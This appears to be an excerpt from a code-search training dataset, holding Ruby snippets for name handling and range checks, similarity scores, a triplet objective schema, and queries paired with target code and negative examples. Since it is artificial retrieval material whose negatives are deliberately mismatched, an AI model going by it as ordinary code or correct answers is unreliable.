"def valid_name(full_name)\n names = full_name.split\n\n if names.size < 2 ||\n (names[-1].size < 3 || names[-1][-1] == \".\") ||\n names.select {|name| name.size == 1}.count > 0 ||\n names.select {|name| name[0] == name[0].downcase}.count > 0 ||\n (names.size > 2 && names[0].size == 2 && names[1].size > 2 && names[0][-1] == \".\")\n return false\n end\n\n names\nend",
"def get_name\n token = \"\"\n\n return expected(\"Name\") unless is_alpha($lookahead)\n\n while is_alnum($lookahead)\n token << $lookahead\n lookahead\n end\n\n skip_white\n\n \"_#{token}\"\nend",
"def snakify\n return downcase if match(/\\A[A-Z]+\\z/)\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z])([A-Z])/, '\\1_\\2').\n downcase\n end",
"def name?(name)\n name = name&.strip\n !(name.blank? || name.match?(%r{(N[/\\\\]+A|UNKNOWN)}i))\n end",
"def best_match(name)\n matches = Name.with_correct_spelling.where(search_name: name)\n return matches.first if matches.any?\n\n matches = Name.with_correct_spelling.where(text_name: name)\n accepted = matches.reject(&:deprecated)\n matches = accepted if accepted.any?\n nonsensu = matches.reject { |match| match.author.start_with?(\"sensu \") }\n matches = nonsensu if nonsensu.any?\n matches.first\n end",
"def normalize_name\n @normalize_name ||= begin\n return '' if name.empty?\n\n exclude = %w[corporation institute organization university\n all and of the].join('|')\n tmp = name.dup\n tmp.gsub!(/#{exclude}/i, '')\n tmp.gsub!(/\\s+/, ' ')\n tmp.strip!\n tmp.downcase # it's not case sensitive\n end\n end",
"def make_fake_name (name)\n\t# Swap first & last name\n\tswap_name = name.split(' ').reverse.join(' ')\n\n\t# Swap characters - change all vowels to next vowel,\n\t# and all consonants to next consonant\n\n\t# Initialize fake_name & index (counter) variables \n\tfake_name = ''\n\tindex = 0\n\twhile index < swap_name.length\n\t\tchar = swap_name[index]\n\n\t\t# For each character\n\t\tif char == ' '\n\t\t\t# If space, add space\n\t\t\tfake_name += ' '\n\t\telse\n\t\t\t# Handle lower & uppercase properly\n\t\t\tif char == char.downcase\n\t\t\t\tfake_name += get_swapped_char(char)\n\t\t\telse\n\t\t\t\tfake_name += get_swapped_char(char.downcase).upcase\n\t\t\tend\n\t\tend\n\n\t\t# Increment counter\n\t\tindex += 1\n\tend\n\n\tfake_name\nend",
"def createValidName(inname)\r\n outname = inname.gsub(/[\\s\\/\\\\?*#+]/,'') # Remove illegal chars (replace with underscore).\r\n outname.gsub!(/_+/,\"_\") # Replace consecutive uscores with single uscore.\r\n outname.gsub!(/\\./,\"-\") # Replace period with dash.\r\n\r\n outname\r\n end",
"def get_case(str)\n return 'upper' if str.upcase == str\n return 'lower' if str.downcase == str\n 'mixed'\nend",
"def camel_case(name)\n if name.include? '_'\n name.split('_').map{|e| e.capitalize}.join\n else\n unless name =~ (/^[A-Z]/)\n name.capitalize\n else\n name\n end\n end\nend",
"def unify(name)\n UNIFIED_RESOURCES.each do |u_a|\n return u_a if name.match?(/#{u_a}/)\n end\n\n name\n end",
"def name_like(name)\n name = SqlHelper::escapeWildcards(name)\n where{first_name.op('||', ' ').op('||', last_name).like(\"%#{name}%\")}\n end",
"def full_names(names = [])\n names.select { |name| name.match /\\w\\s\\w/ }\nend",
"def format_name(str)\n norm_arr = []\n str_arr = str.split(\" \")\n\n str_arr.each do |word|\n word = word.downcase\n word[0] = word[0].upcase\n norm_arr << word\n end\n\n return norm_arr.join(\" \")\nend",
"def name(input)\n\t(/[a-zA-Z]+(\\,|\\s)(\\s)?[a-zA-Z]+(\\,|\\s)(\\s)?[a-zA-Z]+(\\.)?/i =~ input)? \"true\" : \"false\"\nend",
"def name_components\n @_name_components ||= name.scan(/[[:alnum:]]+/)\n end",
"def abbr_match?(str1, str2)\n build_middlename_regexp(str1) =~ str2\n end",
"def match_tag_name(name)\n\n name.sub!(/^c:/, '')\n\n matches = []\n\n Conf.curation_types.each do |type|\n matches.push type if type.starts_with?(name)\n end\n\n return matches[0] if matches.length == 1\n end",
"def match_usecase_name\n\n use_case1=params[:char]\n @user=find_user\n if !@user.nil?\n assign_project_use\n @use_case=UseCase.find(:all, :conditions=>[\"name ILIKE ? and project_id= ?\", \"#{use_case1}%\", session[:project_id]])\n respond_to do |format|\n format.js { render :json=> @use_case }\n end\n end\n end"
] |
[
"0.7314645",
"0.6519375",
"0.64724416",
"0.6466073",
"0.6461452",
"0.64281964",
"0.64281315",
"0.64148",
"0.6413963",
"0.6401176",
"0.63648754",
"0.63614166",
"0.6334101",
"0.63312757",
"0.6298522",
"0.6288812",
"0.6278815",
"0.6278449",
"0.6250826",
"0.6248937",
"0.6245844",
"0.62424463",
"0.6226716",
"0.62098306",
"0.62071306",
"0.620204",
"0.61867374",
"0.6172148",
"0.6127376",
"0.6123426",
"0.61227566",
"0.6118288",
"0.6092498",
"0.6086929",
"0.6082997",
"0.6074946",
"0.6064235",
"0.601299",
"0.60053027",
"0.6003337",
"0.5975333",
"0.5966186",
"0.596532",
"0.5961656",
"0.5942643",
"0.59394556",
"0.5932793",
"0.5912211",
"0.59112144",
"0.590857",
"0.59046066",
"0.58918214",
"0.58905625",
"0.5888635",
"0.58873117",
"0.5877577",
"0.58772314",
"0.5869849",
"0.58697206",
"0.5868416",
"0.5864093",
"0.5849592",
"0.5849253",
"0.58432347",
"0.583851",
"0.583851",
"0.58383274",
"0.58376145",
"0.58207333",
"0.58179885",
"0.5812976",
"0.5812976",
"0.5812346",
"0.58074343",
"0.5807324",
"0.58044744",
"0.5803683",
"0.580187",
"0.5800039",
"0.5789565",
"0.5786605",
"0.5785962",
"0.57785857",
"0.57705855",
"0.5763464",
"0.5762824",
"0.57590115",
"0.5756122",
"0.5755617",
"0.57519233",
"0.57506394",
"0.5746169",
"0.5745616",
"0.5742453",
"0.5741282",
"0.5736556",
"0.5736217",
"0.5732038",
"0.57317245"
] |
0.7954118
|
1
|
global alias so we can write 'df.world.units.all[0]'
|
def df
DFHack
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def systemOfUnits \n \"systemOfUnits\" \n end",
"def unit\n return @units[@index]\n end",
"def unit\n return @units[@index]\n end",
"def get_units(dimension)\n nil\n end",
"def units\n attribute('yweather:units')\n end",
"def units\n @units = SQF.units @this\n @units\n end",
"def si_unit\n return self if self.dimensions.is_dimensionless?\n @dimensions.si_unit\n end",
"def units _args\n \"units _args;\" \n end",
"def base_unit\n units[0]\n end",
"def getAllUnits\n deep_copy(@allUnits)\n end",
"def units(by=nil)\n Unit.units.values.select { |unit| unit.dimensions == self }.map(&by).to_a\n end",
"def units\n self.ListUnits.first.map { |u| map_unit(u) }\n end",
"def units\n q = \"select distinct unit_id from master_files m inner join master_file_locations l on l.master_file_id=m.id\"\n q << \" where location_id = #{id}\"\n return Location.connection.query(q).flatten\n end",
"def unit\n return @unit\n end",
"def world\n region.world\n end",
"def units\n\t\tret = []\n\t\t@db.smembers('sgt-structure:' + @id + ':units').each do |uid|\n\t\t\tret.push(getUnit(@db, uid))\n\t\tend\n\t\tret\n\tend",
"def unit\n self.dup.unit!\n end",
"def units(units=nil)\n cur_page.units(units)\n end",
"def unit_name\n @data[@index]\n end",
"def administrative_units\n return @administrative_units\n end",
"def all_units\n services.map{|el| el[:units]} \n end",
"def units\n return @units\n end",
"def unit_at(x,y)\n cell = @cells.find {|cell| cell.x == x and cell.y == y }\n cell.unit.view if cell\n end",
"def playableUnits \n \"playableUnits\" \n end",
"def as unit\n check_unit! unit\n dist = self.dup\n dist.number = convert_to_meters * meters_map[unit]\n dist.unit = unit\n dist \n end",
"def worldName \n \"worldName\" \n end",
"def get_world;\t@world \t\tend",
"def unit\n parts[3]\n end",
"def name\n\t\t@db.hget('sgt-world:'+@id, 'name')\n\tend",
"def unit \n\t\t\tunitq = self.dup\n\t\t\tmagnitude = self.abs\n\t\t\tunitq[0] /= magnitude\n\t\t\tunitq[1] /= magnitude\n\t\t\tunitq[2] /= magnitude\n\t\t\tunitq[3] /= magnitude\n\t\t\treturn unitq\n\t\tend",
"def selected_units\n SQF.groupSelectedUnits @this\n end",
"def get_temperature_unit\n\t\t@tempUnit\n\tend",
"def available_units\n # After manual set, duplicate map for form select lists\n all_units = ['gram', 'kg', 'lb', 'oz', 'liter', 'gal', 'qt', 'pt', 'us_fl_oz', 'tsp', 'tbsp', 'cup', 'each'].map { |unit| [unit, unit] }.sort\n return all_units\n\tend",
"def unit_s\n self.unit.to_s if self.unit\n end",
"def unit(unit_id=nil, opts = {})\n units = connection.get(connection.build_url(\"units\", opts.merge(:unitids => unit_id))).body\n units.map!{|hash| hash.values.first}\n units.each{|u| u.extend UnitMethods; u._cloud_connect = self;}\n units.first\n end",
"def switchableUnits \n \"switchableUnits\" \n end",
"def user_units\n @user.units\n end",
"def si_base_units(by=nil)\n val = self.to_hash.map do |dimension, index|\n\n dimension_name = dimension.remove_underscores\n Unit.base_quantity_si_units.select do |unit|\n unit.measures == dimension_name\n end.first.clone ** index\n end\n val = val.map(&by) if by\n val.to_a\n end",
"def get_scalar\n @local_index.get_scalar\n end",
"def gallons\n Measurements::USVolume.new(self, :gallon)\n end",
"def unit_idlers\n world.units.active.find_all { |u|\n unit_isidler(u)\n }\n end",
"def other_units(unit, quarter, org)\n OrganizationQuarter.find_all_by_organization_id_and_quarter_id(org, quarter).reject{|oq| oq.unit_id == unit.id}.collect(&:unit).collect(&:abbreviation)\n end",
"def omega\n namespace + '_omega'\n end",
"def portal_units_for(planet)\n player_id, ally_player_ids, planet_ids, ally_planet_ids =\n get_ids_from_planet(planet)\n volume = teleported_volume_for(planet)\n\n pick_units(\n player_id, planet_ids, ally_player_ids, ally_planet_ids, volume\n )\n rescue NoUnitsError\n []\n end",
"def si_unit\n return Unit.steridian if describe == 'solid angle'\n return Unit.radian if describe == 'plane angle'\n\n val = si_base_units\n return nil unless val\n return val[0] if val.length == 1\n val = val.inject(Unit.unity) do |compound,unit|\n compound * unit\n end\n val = val.or_equivalent unless val.acts_as_equivalent_unit\n end",
"def known_units\n begin\n unit_namespace.instances\n rescue NoMethodError \n [] # no #instances method defined yet\n end\n .tap { |r| puts \"Known units are #{r}\" if SY::DEBUG }\n end",
"def base\n detailed_units true\n end",
"def utm_global_origin\n utm = spherical_coordinates.utm(zone: utm_zone, north: utm_north?)\n Eigen::Vector3.new(utm.easting, utm.northing,\n world.spherical_coordinates.elevation)\n end",
"def unit(measurement, measurement_sub_type) \n measure_unit = self.unit_of_measurements.\n joins(:measure_unit, :measurement_sub_type, :measurement).\n where(\"measurements.name = ? AND measurement_sub_types.name = ? AND measure_units.unit_type_id = ?\", measurement, measurement_sub_type, self.units_of_measurement_id.to_i).\n select(\"measure_units.*\").\n first\n \n measure_unit.unit rescue \"\" \n end",
"def refresh!\n\t\tunits.each do |unit| \n\t\t\tvar_name = :\"@#{unit}\"\n\t\t\tinstance_variable_set var_name, nil\n\t\tend\n\tend",
"def get_distance_unit\n\t\t@kilometers\n\tend",
"def world\n\t\twid = @db.hget('sgt-sector:' + @id, 'world')\n\t\tWorld.new(@db, wid)\n\tend",
"def define_fancy_getter(fancy_name, raw_name, unit)\n define_method(fancy_name) do\n PhysicalQuantity.new eval(raw_name), unit\n end\n end",
"def foods_units\n get('/foods/units.json')\n end",
"def loc_projected\n self.loc\n end",
"def __spatial_column_name_ewkt; end",
"def allied_units\n @game.units.find_all { |u| u.faction == @faction }\n end",
"def unit\n self[:unit] ? self[:unit].to_sym : :piece\n end",
"def unit_t\n I18n.t \"#{self.unit_s}\", :count => 1\n end",
"def dimension\n @unit.to_s\n end",
"def coord_system_name\n self.slice.seq_region.coord_system.name\n end",
"def __spatial_column_name_wkt; end",
"def npc_unit_locations\n fields = \"location_x, location_y\"\n without_locking do\n Unit.in_zone(self).select(fields).group(fields).where(:player_id => nil).\n c_select_all\n end.each_with_object(Set.new) do |row, set|\n set.add SolarSystemPoint.new(id, row['location_x'], row['location_y'])\n end\n end",
"def emission_units\n data['emission_units']\n end",
"def unit(x=1,y=1,z=1)\n point3.unit!\n end",
"def Unitwise(*args)\n Unitwise::Measurement.new(*args)\nend",
"def organization_units\n if bind\n units = []\n AdOrganizationUnit.find_each do |local_entry|\n name = local_entry.distinguishedname.split(',')[0]\n units.push(name[3..name.length])\n end\n return units\n else\n return false\n end\n end",
"def to_unit\n timemap.last\n end",
"def Unitize(*args)\n Unitize::Measurement.new(*args)\nend",
"def administrative_units=(value)\n @administrative_units = value\n end",
"def global_origin\n utm = utm_global_origin\n Eigen::Vector3.new(utm.y, 1_000_000 - utm.x, utm.z)\n end",
"def index\n @standard_units = StandardUnit.all\n end",
"def realname\n alias? ? aliasof.name : name\n end",
"def units(*list)\n @units.concat(makelist(list)) unless list.empty?\n @units\n end",
"def show\n @units = @commercial_lead.units\n end",
"def location\n\t\tUnitLocation.new(@db, @id)\n\tend",
"def total_units\n return @total_units\n end",
"def unit_of_measurement_find_one(opts = {})\n data, _status_code, _headers = unit_of_measurement_find_one_with_http_info(opts)\n return data\n end",
"def find_units(modids)\n # TODO: Rename unit_search?\n units = connection.get(connection.build_url(\"units/search\", :modids => modids)).body\n units.map!{|hash| hash.values.first}\n units.each{|u| u.extend UnitMethods; u._cloud_connect = self;}\n end",
"def for_unit(unit); find(:all, :conditions => {:unit_id => (unit.nil? ? nil : unit.class == Fixnum ? unit : unit.id)}); end",
"def population_unit\n query_root_node(\"gdacs:population/@unit\", @@NAMESPACES)\n end",
"def to_units( units, thousands=0 )\n\t\treturn Units[ units ] + to_thousands( thousands )\n\tend",
"def land_area_unit\n query_root_node(\"fao:landAreaUnit/text()\", @@NAMESPACES).to_s\n end",
"def column\n location&.column\n end",
"def loc_geographic\n FACTORY.unproject(self.loc)\n end",
"def normal_units_uri\n UrisAreEolTerms.new(self).uri(:normal_units_uri)\n end",
"def continent; end",
"def solar_mass? = unit == 'solar-mass'",
"def work_in unit, from = \"g\"\n (work.to_s + from).to_unit.convert_to(unit).scalar.to_f\n end",
"def __spatial_column_name(options = {}); end",
"def unit(name)\n Unit.new(name, self)\n end",
"def time_unit\n @time_unit ||= PERIOD_MAPPING[@name]\n end",
"def setSystemOfUnits _args\n \"setSystemOfUnits _args;\" \n end",
"def get_sum_defender_units\n all_units = 0\n @defender_fleet.ship_groups.each do |group|\n all_units = all_units + group.number\n end\n return all_units\n end",
"def currency_unit\n @currency_unit\n end",
"def population_unit\n query_root_node(\"fao:populationUnit/text()\", @@NAMESPACES).to_s\n end",
"def dimension_offer\n base_query.dimension_offer\n .includes(:sector, :weeks, :group, :school)\n end",
"def earth_mass? = unit == 'earth-mass'",
"def get_list_defender_units\n unit_report = []\n unit_report << \"Auflistung der Flotte: \"\n @defender_fleet.ship_groups.each do |group|\n unit_report << group.unit.name\n unit_report << group.number\n end\n return unit_report\n end",
"def envia_taxones_query\n end",
"def get_series (series_name)\n end"
] |
[
"0.6253005",
"0.6218855",
"0.6218855",
"0.617125",
"0.60599464",
"0.6035692",
"0.6006734",
"0.59391373",
"0.5906701",
"0.5829076",
"0.5816485",
"0.5725521",
"0.5705413",
"0.5693525",
"0.55649716",
"0.55614126",
"0.55238646",
"0.5523828",
"0.5517844",
"0.5488671",
"0.544142",
"0.5431801",
"0.5415722",
"0.54076093",
"0.53911066",
"0.5382027",
"0.53723145",
"0.5345817",
"0.5340635",
"0.53285784",
"0.53277045",
"0.53010345",
"0.52936083",
"0.5290319",
"0.5276308",
"0.5271574",
"0.52597356",
"0.523008",
"0.5228698",
"0.52149165",
"0.5204246",
"0.5203541",
"0.51911247",
"0.5163022",
"0.5146388",
"0.51410985",
"0.5116603",
"0.51092434",
"0.5079556",
"0.50412923",
"0.5022729",
"0.5018154",
"0.5011444",
"0.5004671",
"0.4995746",
"0.49766165",
"0.49706066",
"0.49686533",
"0.49648935",
"0.49602124",
"0.49537492",
"0.49448836",
"0.49428168",
"0.4932384",
"0.49234223",
"0.49161786",
"0.49134797",
"0.4908779",
"0.49016663",
"0.48826846",
"0.48676065",
"0.48562032",
"0.4845557",
"0.48434377",
"0.48304856",
"0.4828806",
"0.4821465",
"0.48210457",
"0.48170364",
"0.48131305",
"0.4811378",
"0.48112524",
"0.48064068",
"0.48053822",
"0.4805242",
"0.47938436",
"0.479196",
"0.4790333",
"0.4788829",
"0.47833174",
"0.47817716",
"0.47761628",
"0.477307",
"0.47694275",
"0.47621927",
"0.47612384",
"0.47563",
"0.47479886",
"0.47460344",
"0.4737349",
"0.47372139"
] |
0.0
|
-1
|
Returns true if the version is in the range of this VersionRange object. Uses OSGi versioning rules to determine if the version is in range.
|
def in_range(version)
return in_range(version.min) && (version.max_infinite ? true : in_range(version.max)) if version.is_a?(VersionRange)
result = min_inclusive ? min <= version : min < version
if (!max_infinite)
result &= max_inclusive ? max >= version : max > version
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def match?(version)\n return false if version < lower_bound\n return include_lower_bound? if version == lower_bound\n return true if upper_bound.nil?\n return false if version > upper_bound\n return include_upper_bound? if version == upper_bound\n true\n end",
"def in_range?\n return self.range.include?([@x, @y])\n end",
"def covers?(*args)\n other = coerce_range(*args)\n\n if other.instant?\n self.begin <= other.begin and other.end < self.end\n else\n self.begin <= other.begin and other.end <= self.end\n end\n end",
"def within?(other_slice)\n if ! other_slice.class == Slice\n raise RuntimeError, \"The Slice#overlaps? method takes a Slice object as its arguments.\"\n end\n if self.seq_region.coord_system != other_slice.seq_region.coord_system\n raise RuntimeError, \"The argument slice of Slice#overlaps? has to be in the same coordinate system, but were \" + self.seq_region.coord_system.name + \" and \" + other_slice.seq_region.coord_system.name\n end\n\n self_range = self.start .. self.stop\n other_range = other_slice.start .. other_slice.stop\n\n if other_range.include?(self.start) and other_range.include?(self.stop)\n return true\n else\n return false\n end\n end",
"def within?(other_slice)\r\n if ! other_slice.class == Slice\r\n raise RuntimeError, \"The Slice#overlaps? method takes a Slice object as its arguments.\"\r\n end\r\n if self.seq_region.coord_system != other_slice.seq_region.coord_system\r\n raise RuntimeError, \"The argument slice of Slice#overlaps? has to be in the same coordinate system, but were \" + self.seq_region.coord_system.name + \" and \" + other_slice.seq_region.coord_system.name\r\n end\r\n\r\n self_range = self.start .. self.stop\r\n other_range = other_slice.start .. other_slice.stop\r\n\r\n if other_range.include?(self.start) and other_range.include?(self.stop)\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def in_range?\n self > LOWER_BOUND && self <= UPPER_BOUND\n end",
"def in_range?(val, range)\n return true unless range\n\n if range.is_a?(Hash)\n result = true\n result &= ( val < range[:before] ) if range[:before]\n result &= ( val > range[:after] ) if range[:after]\n result &= ( val <= range[:max] ) if range[:max]\n result &= ( val >= range[:min] ) if range[:min]\n result &= ( val < range[:less_than] ) if range[:less_than]\n result &= ( val <= range[:less_than_or_equal_to] ) if range[:less_than_or_equal_to]\n result &= ( val > range[:greater_than] ) if range[:greater_than]\n result &= ( val >= range[:greater_than_or_equal_to] ) if range[:greater_than_or_equal_to]\n result\n else\n range = [range] unless range.respond_to?(:include?)\n range.include?(val)\n end\n end",
"def within?(other)\n range_within_other?(self,other)\n end",
"def has_range?\n !self.domain_ranges.nil?\n end",
"def version_between? low_version, high_version, current_version = nil\n current_version ||= rails_version\n return false unless current_version\n\n version = current_version.split(\".\").map!(&:to_i)\n low_version = low_version.split(\".\").map!(&:to_i)\n high_version = high_version.split(\".\").map!(&:to_i)\n\n version.each_with_index do |v, i|\n if v < low_version.fetch(i, 0)\n return false\n elsif v > low_version.fetch(i, 0)\n break\n end\n end\n\n version.each_with_index do |v, i|\n if v > high_version.fetch(i, 0)\n return false\n elsif v < high_version.fetch(i, 0)\n break\n end\n end\n\n true\n end",
"def range_includes_item?(range, item)\n range.begin <= item && item <= range.end\n end",
"def in_range?( val )\n val = val.to_i\n (@above.nil? or val > @above) and\n (@below.nil? or val < @below) and\n (@valid_range.nil? or @valid_range.include?(val))\n end",
"def in_range?( val )\n val = val.to_i\n (@above.nil? or val > @above) and\n (@below.nil? or val < @below) and\n (@valid_range.nil? or @valid_range.include?(val))\n end",
"def include_range? other_range\n case other_range\n when Range\n if other_range.first >= self.first && other_range.last <= self.last\n return true\n else\n return false\n end\n else\n raise \"unsupported type\"\n end\n end",
"def overlap?(input_range)\n a = self.start_date >= input_range.end_date\n b = self.end_date <= input_range.start_date\n return a || b ? false : true \n end",
"def touching?(range)\n range.end == self.start || self.end == range.start\n end",
"def meets?(*args)\n other = coerce_range(*args)\n self.begin == other.end or other.begin == self.end\n end",
"def valid?\n return false if @range_start_index.nil?\n return false if @range_end_index.nil?\n true\n end",
"def is_range?\n self =~ /\\A(([\\d]+)|(['\"][\\w]{1}['\"]))\\.\\.\\.?(([\\d]+)|(['\"][\\w]{1}['\"]))\\z/i\n end",
"def is_effective?(value)\n @range_lower <= value && value <= @range_upper\n end",
"def matched_by_extended_range?(range)\n\n subtags = decomposition.dup\n subranges = range.to_str.downcase.split(HYPHEN_SPLITTER)\n\n subrange = subranges.shift\n subtag = subtags.shift\n\n while subrange\n if subrange == WILDCARD\n subrange = subranges.shift\n elsif subtag == nil\n return false\n elsif subtag == subrange\n subtag = subtags.shift\n subrange = subranges.shift\n elsif subtag.size == 1\n return false\n else\n subtag = subtags.shift\n end\n end\n true\n rescue\n false\n end",
"def overlaps?(other_slice)\n if ! other_slice.class == Slice\n raise RuntimeError, \"The Slice#overlaps? method takes a Slice object as its arguments.\"\n end\n if self.seq_region.coord_system != other_slice.seq_region.coord_system\n raise RuntimeError, \"The argument slice of Slice#overlaps? has to be in the same coordinate system, but were \" + self.seq_region.coord_system.name + \" and \" + other_slice.seq_region.coord_system.name\n end\n\n self_range = self.start .. self.stop\n other_range = other_slice.start .. other_slice.stop\n\n if self_range.include?(other_slice.start) or other_range.include?(self.start)\n return true\n else\n return false\n end\n end",
"def intersects?(*args)\n other = coerce_range(*args)\n raise ArgumentError, \"#{self.begin.class} expected, received #{other.begin.class}\" unless other.begin.kind_of?(self.begin.class)\n\n if other.instant?\n self.begin <= other.begin and other.end < self.end\n else\n other.begin < self.end and self.begin < other.end\n end\n end",
"def overlaps?(range)\n !(completely_left_of?(range) || completely_right_of?(range))\n end",
"def overlaps?(other_slice)\r\n if ! other_slice.class == Slice\r\n raise RuntimeError, \"The Slice#overlaps? method takes a Slice object as its arguments.\"\r\n end\r\n if self.seq_region.coord_system != other_slice.seq_region.coord_system\r\n raise RuntimeError, \"The argument slice of Slice#overlaps? has to be in the same coordinate system, but were \" + self.seq_region.coord_system.name + \" and \" + other_slice.seq_region.coord_system.name\r\n end\r\n\r\n self_range = self.start .. self.stop\r\n other_range = other_slice.start .. other_slice.stop\r\n\r\n if self_range.include?(other_slice.start) or other_range.include?(self.start)\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def matched_by_extended_range?(range)\n recompose\n subtags = @composition.split(Const::HYPHEN)\n subranges = range.downcase.split(Const::HYPHEN)\n\n subrange = subranges.shift\n subtag = subtags.shift\n\n while subrange\n if subrange == Const::WILDCARD\n subrange = subranges.shift\n elsif subtag == nil\n return false\n elsif subtag == subrange\n subtag = subtags.shift\n subrange = subranges.shift\n elsif subtag.size == 1\n return false\n else\n subtag = subtags.shift\n end\n end\n true\n rescue\n false\n end",
"def date_include?(date_range)\n # if date >= @checkin_date && date <= @checkout_date\n start_date = date_range.checkin_date\n end_date = date_range.checkout_date\n\n if start_date >= @checkin_date && end_date <= @checkout_date\n return true\n else\n return false\n end\n end",
"def version_association?(association)\n association.to_s.end_with? 'versions'\n end",
"def price_range?\n !(price_range.first == price_range.last)\n end",
"def price_range?\n !(price_range.first == price_range.last)\n end",
"def in_range?(key)\n (key>=range_start) && (range_end==LAST_POSSIBLE_KEY || key < range_end)\n end",
"def is_within(number, lower, upper)\n RangeAssertion.new(number, lower, upper)\n end",
"def include?(object)\n object.start >= @start && object.end <= @end\n end",
"def ranges_include?(value)\n any? { |range| Array(range).include?(value) }\n end",
"def valid_start_and_end_dates?\n return false unless start.present? && self.end.present?\n start <= self.end\n end",
"def overlap? range\n !(self & range).nil?\n end",
"def compatible?(version)\n bin_version = Gem::Version.new(version)\n supports_min = !minimum_cocoapods_version ||\n (bin_version >= Gem::Version.new(minimum_cocoapods_version))\n supports_max = !maximum_cocoapods_version ||\n (bin_version <= Gem::Version.new(maximum_cocoapods_version))\n supports_min && supports_max\n end",
"def in_range\n\t\trange = Set[1, 2, 3, 4, 5,\n\t\t\t\t\t\t\t\t6, 7, 8, 9, 10,\n\t\t\t\t\t\t\t 11, 12, 13, 14, 15,\n\t\t\t\t\t\t\t\t16, 17, 18, 19, 20,\n\t\t\t\t\t\t\t\t21, 22, 23, 24, 25,\n\t\t\t\t\t\t\t\t26, 27, 28, 29, 30]\n\n\t\tif @landmarks.subset?(range)\n\t\t\treturn true\n\t\tend\n\n\t\treturn false\n\tend",
"def vulnerable_to?(vuln)\n if version && vuln && vuln.fixed_in && !vuln.fixed_in.empty?\n unless VersionCompare::lesser_or_equal?(vuln.fixed_in, version)\n return true\n end\n else\n return true\n end\n return false\n end",
"def date_overlap?(date_range)\n #(@checkin_date - end_date) * (start_date - @checkout_date) >= 0\n # Will this method work?\n start_date = date_range.checkin_date\n end_date = date_range.checkout_date\n\n if (start_date <= @checkout_date) && (end_date > @checkin_date)\n return true\n else\n return false\n # raise ArgumentError.new(\"#{start_date} and #{end_date} are outside the date range\")\n end\n end",
"def version_gte_82?\n version >= v82\n end",
"def availability?(start_date, end_date)\n start_date = Date.parse(start_date)\n end_date = Date.parse(end_date)\n bookings = self.get_bookings(id: self.id)\n if bookings.length > 0\n bookings.each do |booking|\n if (start_date > booking.start_date && start_date < booking.end_date) || (end_date > booking.start_date && end_date < booking.end_date)\n false\n end\n end\n true\n end\n end",
"def date_in_range?(first, date, last)\n first <= date && date <= last\n end",
"def valid?(range)\n range[0] < range[1]\nend",
"def available?(date_range)\n if reservations.length == 0\n return true\n end\n if reservations.any? {|r| r.overlap?(date_range)}\n return false\n else\n return true\n end\n end",
"def include_with_range?(value)\n if value.is_a?(::Range)\n operator = exclude_end? ? :< : :<=\n end_value = value.exclude_end? ? last.succ : last\n include?(value.first) && (value.last <=> end_value).send(operator, 0)\n else\n include_without_range?(value)\n end\n end",
"def version_gte?( v1, v2 )\n v1 = version_string_to_a( v1 )\n v2 = version_string_to_a( v2 )\n c = v1 && v2 && ( v1 <=> v2 ) #-> nil for String/Integer mix\n c && c >= 0\n end",
"def valid_range?\n (0..@max_num).cover?(@number)\n end",
"def in_range_for_type?\n case @cfg.type_name\n when :positive_int\n value > 0\n when :unsigned_int\n value >= 0\n when :positive_int_array\n value.all? {|i| i > 0 }\n when :unsigned_int_array\n value.all? {|i| i >= 0 }\n else\n true\n end\n end",
"def validate(spec)\n range = spec['range']\n match_delta(range, node.transform) ? true : false\n end",
"def supports_ranges?\n postgresql_version >= 90200\n end",
"def supported?(feature)\n sup = version_with_support(feature)\n\n # we do not know the version, therefore we do not know if its possible to use the feature\n return if self['version'].nil? || self['version']['version'].nil?\n\n if sup.is_a?(Array)\n Gem::Version.new(self['version']['version']) >= sup[0] &&\n Gem::Version.new(self['version']['version']) < sup[1]\n else\n Gem::Version.new(self['version']['version']) >= sup\n end\n end",
"def contains(date)\n if (date >= @start_date) && (date < @end_date)\n return true\n else\n date < @start_date || date >= @end_date\n return false\n end\n end",
"def within?(value)\n value >= @lower and value <= @upper\n end",
"def include?(value)\n candidate = intervals\n .find { |min, max| max >= value }\n candidate && (candidate[0] <= value)\n end",
"def vt_intersects?(*args)\n vt_range.intersects?(*args)\n end",
"def range_include?(ranges, addr)\n\t\t\tranges.each do |range|\n\t\t\t\treturn true if range.include? addr\n\t\t\tend\n\t\t\tfalse\n\t\tend",
"def check(range, value)\n result = true\n unless range.nil?\n if range.class == Range\n result = (range === value)\n elsif range.class == Fixnum\n result = (value >= range)\n end\n end\n result\n end",
"def overlaps?(other)\n start <= other.end_date && other.start <= self.end_date\n end",
"def included?(range, number)\n if range.exclude_end?\n number >= range.begin && number < range.end\n else\n number >= range.begin && number <= range.end\n end\nend",
"def eql?(range)\n return false if range.nil? || low.nil? || range.low.nil? || high.nil? || range.high.nil?\n \n return low.value == range.low.value && low.inclusive? == range.low.inclusive? &&\n high.value == range.high.value && high.inclusive? == range.high.inclusive?\n end",
"def satisfied_by?(version)\n raise ArgumentError, \"Need a Gem::Version: #{version.inspect}\" unless\n Gem::Version === version\n requirements.all? {|op, rv| OPS[op].call version, rv }\n end",
"def include?(addr)\n\t\treturn false if not @ranges\n\t\tif (addr.is_a? String)\n\t\t\taddr = Rex::Socket.addr_atoi(addr)\n\t\tend\n\t\t@ranges.map { |r| \n\t\t\tif r.start <= addr and addr <= r.stop\n\t\t\t\treturn true\n\t\t\tend\n\t\t}\n\t\treturn false\n\tend",
"def valid?(ver)\n !!(ver =~ /\\A#{REGEX_FULL}\\Z/)\n end",
"def matches? invoice\n invoice.order_date.between?(time_range.first, time_range.last)\n end",
"def check_date_ranges\n today = Date.today\n !!today.between?(start_date.to_date, end_date.to_date)\n end",
"def contains?(vma)\n start = start_addr\n start && vma >= start && vma < (start + size)\n end",
"def is_page_range_supported\n return @is_page_range_supported\n end",
"def overlaps?(other)\n\t\tself.start_date < other.end_date && other.start_date < self.end_date\n\tend",
"def versioned?\n !unversioned?\n end",
"def version_gte_71?\n version >= v71\n end",
"def overlaps(other_date_range)\n if contains(other_date_range.start_date) || contains(other_date_range.end_date)\n true\n elsif other_date_range.contains(@start_date) && other_date_range.contains(@end_date)\n true\n else\n false\n end\n end",
